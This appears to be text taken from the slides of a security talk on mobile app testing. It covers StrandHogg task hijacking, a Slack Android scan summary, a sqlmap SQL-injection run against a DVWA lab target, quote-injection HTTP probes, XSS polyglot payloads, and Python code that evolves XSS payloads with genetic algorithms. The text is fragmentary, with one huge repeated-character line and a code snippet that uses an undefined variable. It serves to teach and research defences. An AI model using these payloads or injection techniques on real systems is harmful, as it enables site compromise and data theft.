20650 opened on 30 May by wythepl
Vulnerability Database

Curated database of known vulnerabilities focusing on mobile dependencies, providing higher coverage and more accurate data.
Outdated 3rd Party Dependencies

- Fingerprinting
  - Transitive dependencies
  - Statically linked libraries
- Curated database of known vulnerabilities
Task Hijacking
Vulnerability in fully patched Android phones under active attack by bank thieves

"StrandHogg" spoofing flaw exploited by 36 apps, including bank trojans.

DAN GOODIN - 12/2/2019, 10:10 PM
Example of Slack TaskAffinity Hijacking
App icon of a legitimate app is clicked by the victim.

A malicious login page is displayed on the victim's screen instead of the legitimate app.

Sensitive details are immediately sent to the attacker. Victim is directed to the legitimate app.

App icon of a legitimate app is clicked by the victim.

Instead of seeing the legitimate app, the malware is displayed and can now ask for any permission while pretending to be the legitimate app.

The victim is unknowingly giving permissions to the hacker. Victim is directed to the legitimate app.
## Application summary

**Platform:** Android  
**Package:** com.slack  
**Version:** 28.18.29-beta  
**Size:** 50 MB

## Scan summary

**Title:** Scan created by monitoring tool Slack Android 8B  
**Date:** November 2nd 2020, 22:00:13  
**Test Credentials:** None

### Vulnerabilities

<table>
<thead>
<tr>
<th>Category</th>
<th>Title</th>
<th>Short description</th>
</tr>
</thead>
<tbody>
<tr>
<td>🟢 High</td>
<td>Exported activities, services and broadcast receivers list</td>
<td>List of all exported components (activities, services, broadcast receivers, content providers)</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Call to Socket API</td>
<td>List of Server Socket API calls</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Application checks rooted device</td>
<td>Presence of strings and methods indicating potential check for rooted device</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Call to TLS API</td>
<td>List of TLS API calls</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Call to External Storage API</td>
<td>List of external storage API calls</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Call to Inter-Process-Communication (IPC) API</td>
<td>List of Inter-Process Communication (IPC) calls</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>APK attach surface</td>
<td>List of components potentially accepting user input</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Virustotal malware analysis (MD5 based search)</td>
<td>VirusTotal Malware analysis</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Application certificate information</td>
<td>Application signing certificate details</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Call to dynamic code loading API</td>
<td>List of dynamic code loading API calls</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Implementation of a WebViewClient</td>
<td>List of WebViewClient implementation</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Call to native methods</td>
<td>List of native methods calls</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Call to command execution API</td>
<td>List of call command execution API calls</td>
</tr>
<tr>
<td>🟠 Info</td>
<td>Call to ELF stack</td>
<td>List of ELF methods defined in ELF files and used by the application</td>
</tr>
</tbody>
</table>
StrandHogg 2.0 - The ‘evil twin’

*New Android Vulnerability Even More Dangerous, With Attacks More Difficult to Detect Than Predecessor*

Oslo 26.05.2020

Promon researchers have discovered a new elevation of privilege vulnerability in Android that allows hackers to gain access to almost all apps.

Classified ‘critical severity’ (CVE-2020-0096) by Google, the vulnerability has been named StrandHogg 2.0 by Promon due to its similarities with the infamous StrandHogg vulnerability discovered by the company in 2019.

While StrandHogg 2.0 also enables hackers to hijack nearly any app, it allows for broader attacks and is much more difficult to detect, making it, in effect, its predecessor’s ‘evil twin’.

Having learned from StrandHogg and subsequently evolved, StrandHogg 2.0 *doesn’t exploit the Android control setting ‘TaskAffinity’, which hijacks Android’s multitasking feature and, as a result, leaves behind traceable markers.*
Task Hijacking

- Requires Active Protection Measures
- Comes in different flavors
  - `taskAffinity`
  - `Intent Flags`
  - ...

Backend Fuzzing
root@kali:~/# sqlmap -u 'http://192.108.88.138/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit' --cookie='security=low; PHPSESSID=q5b0d0pv47cdq3rhugepne541u4'

[1.3#stable]

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local laws. We as developers are not responsible for any misuse or damage caused by this program.

[*] starting @ 16:46:25 /2010-03-30/

[16:46:25] [INFO] testing connection to the target URL
[16:46:25] [INFO] testing if the target URL content is stable
[16:46:25] [INFO] target URL content is stable
[16:46:25] [INFO] testing if GET parameter 'id' is dynamic
[16:46:26] [WARNING] GET parameter 'id' does not appear to be dynamic
[16:46:26] [INFO] heuristics detected web page charset 'ascii'
[16:46:26] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[16:46:26] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[16:46:26] [INFO] testing for SQL injection on GET parameter 'id'

It looks like the 'id' parameter is 'MySQL'. Do you want to skip test payloads specific for other database? [y/n] Y

For the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [y/n] y

[16:46:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:46:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[16:46:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[16:46:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[16:46:34] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --not-string="Me")

[16:46:38] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:46:38] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:46:38] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:46:38] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:46:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[16:46:41] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable.
GET /docs/123/apps?q=text HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
X-API-KEY: 123123123123123

(blank line)

HTTP/1.1 200 OK
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 07:16:26 GMT
ETag: "10000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug

<html><body><h1>It works!</h1></body></html>
Pages * Endpoints * Vulnz * Payloads

Big-O Complexity Chart

Operations vs. Elements Chart with Big-O Notation:
- O(1)
- O(log n)
- O(n)
- O(n log n)
- O(n^2)
- O(2^n)
- O(n!)

Color-coded areas represent different performance categories:
- Horrible
- Bad
- Fair
- Good
- Excellent
GET /docs/index.html?q=1 HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

(HTTP/1.1 200 OK)
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 07:16:26 GMT
ETag: "10000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug

<html><body><h1>It works!</h1></body></html>
GET /docs/index.html?q=1' HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

(Blank line)

HTTP/1.1 500 Internal Server Error
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 07:16:26 GMT
Content-Length: 0
Connection: close
GET /docs/index.html?q=1'' HTTP/1.1
Host: www.nowhere123.com
Accept: image/gif, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

(HTTP/1.1 200 OK)
Date: Sun, 18 Oct 2009 08:56:53 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Sat, 20 Nov 2004 07:16:26 GMT
ETag: "1000000565a5-2c-3e94b66c2e680"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug

<html><body><h1>It works!</h1></body></html>
Backend Fuzzing

- Rule based scanning don't scale
  - Technically
  - Operationaly
- Tree Based Analysis
  - Automatic Rule Generation
  - Scales better
XSS
A polyglot payload

```html
<html>
  <head><HERE></head>
  <body>
    <div id="HERE">
      <a href="HERE"></a>
    </div>
  </body>
  <script>
    var a = document.location;
    eval(a.hash);
  </script>
</html>
```
Mobile Contexts

<ion-content>{/*-- Default Label --*/}<ion-label>Label</ion-label><br/>{/*-- Label Colors --*/}<ion-label color="primary">Primary Label</ion-label><br/>{<ion-label color="secondary">Secondary Label</ion-label><br/>{<ion-label color="danger">Danger Label</ion-label><br/>{<ion-label color="light">Light Label</ion-label><br/>{<ion-label color="dark">Dark Label</ion-label><br/>{/*-- Item Labels --*/}<ion-item><ion-label>Default Item</ion-label></ion-item><ion-item><ion-label className="ion-text-wrap">Multi-line text that should wrap when it is too long to fit on one line in the item. </ion-label></ion-item>
Unleashing an Ultimate XSS Polyglot
Ahmed Eskawy edited this page on Feb 16, 2018 - 20 revisions

Foreword:
When it comes to testing for cross-site scripting vulnerabilities (a.k.a. XSS), you’re generally faced with a variety of injection contexts where each of which requires you to alter your injection payload so it suits the specific context at hand. This can be too tedious and time-consuming in most cases, but luckily, XSS polyglots can come in handy here to save us a lot of time and effort.

What is an XSS polyglot?
An XSS polyglot can be generally defined as any XSS vector that is executable within various injection contexts in its raw form.

So, what polyglot you came up with?

jwscripts:////\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'/\'
Genetic Algorithms

evaluation

selection

mutation

crossover
Evaluation

Start here!

Selection

Mutation

Crossover

High performing payloads

Simplistic payloads
start here!

simplistic payloads

high performing payloads

evaluation

mutation

"<svg onload={callback} />

" onclick={callback} a=""" onclick={callback} a="""a onclick={callback} "

...
Test payloads on test bed

start here!

high performing payloads

simplistic payloads

evaluation

selection

mutation
crossover
Test payloads on test bed start here!

- Simplistic payloads
- High performing payloads
- Mutation evaluation
Start here!

Test payloads on test bed

High performing payloads

Simplistic payloads

Evaluation

Selection

Mutation

Crossover

Trial... guess... repeat!

Highest coverage

Highest coverage + shortest

Highest coverage + shortest + most efficient (length)

Weighted by context importance
Test payloads on test bed

- Over 2k contexts
- Over 2k hours of computation
- Over 3.6 million payloads tested
- Over 500GB of logs (lost full, lost most logs)

High performing payloads

Simplistic payloads

Evaluation

Selection

Mutation

Crossover

Trial.. guess.. repeat!

Start here!
The experimentation trial...

- high performing payloads
- simplistic payloads

mutation

crossover

- concatenation
- token augmentation
- token pruning
- half payload crossover

def _mutate_with_evolution(self):
    for individual in self.population:
        for _ in range(self.repeated_extra_tokens):
            extra_tokens = random.choices(TOKENS, k=self.extra_tokens)
            self.new_population.add(individual + ''.join(extra_tokens))
        self.new_population.add(''.join(extra_tokens) + individual)

def _mutate_with_flips(self):
    for individual in self.population:
        seperations = re.split('(callback)', individual)
        seperation = random.choice(seperations)
        if seperation:
            self.new_population.add(individual.replace(seperation, random.choice(TOKENS), 1))

def _mutate_with_corssover(self):
    for another_individual in random.choices(self.population, k=self.crossover_limit):
        self.new_population.add(another_individual + individual)
Sample Payload

```javascript
javascript:{callback}//*/
javascript:javascript:
"/*'/*`/*-->
</noscript></title></textarea></style></template></noembed></script>
<html " onmouseover=/*&lt;svg/*/
onload={callback}onload={callback}
/*}
<svg onload={callback}><svg onload={callback}>
/*</style><script>{callback}</script><style>
```
XSS

- Polyglot Payloads to scale
- Explosion in Mobile Contexts
- Genetic Algorithms to generate better performing payloads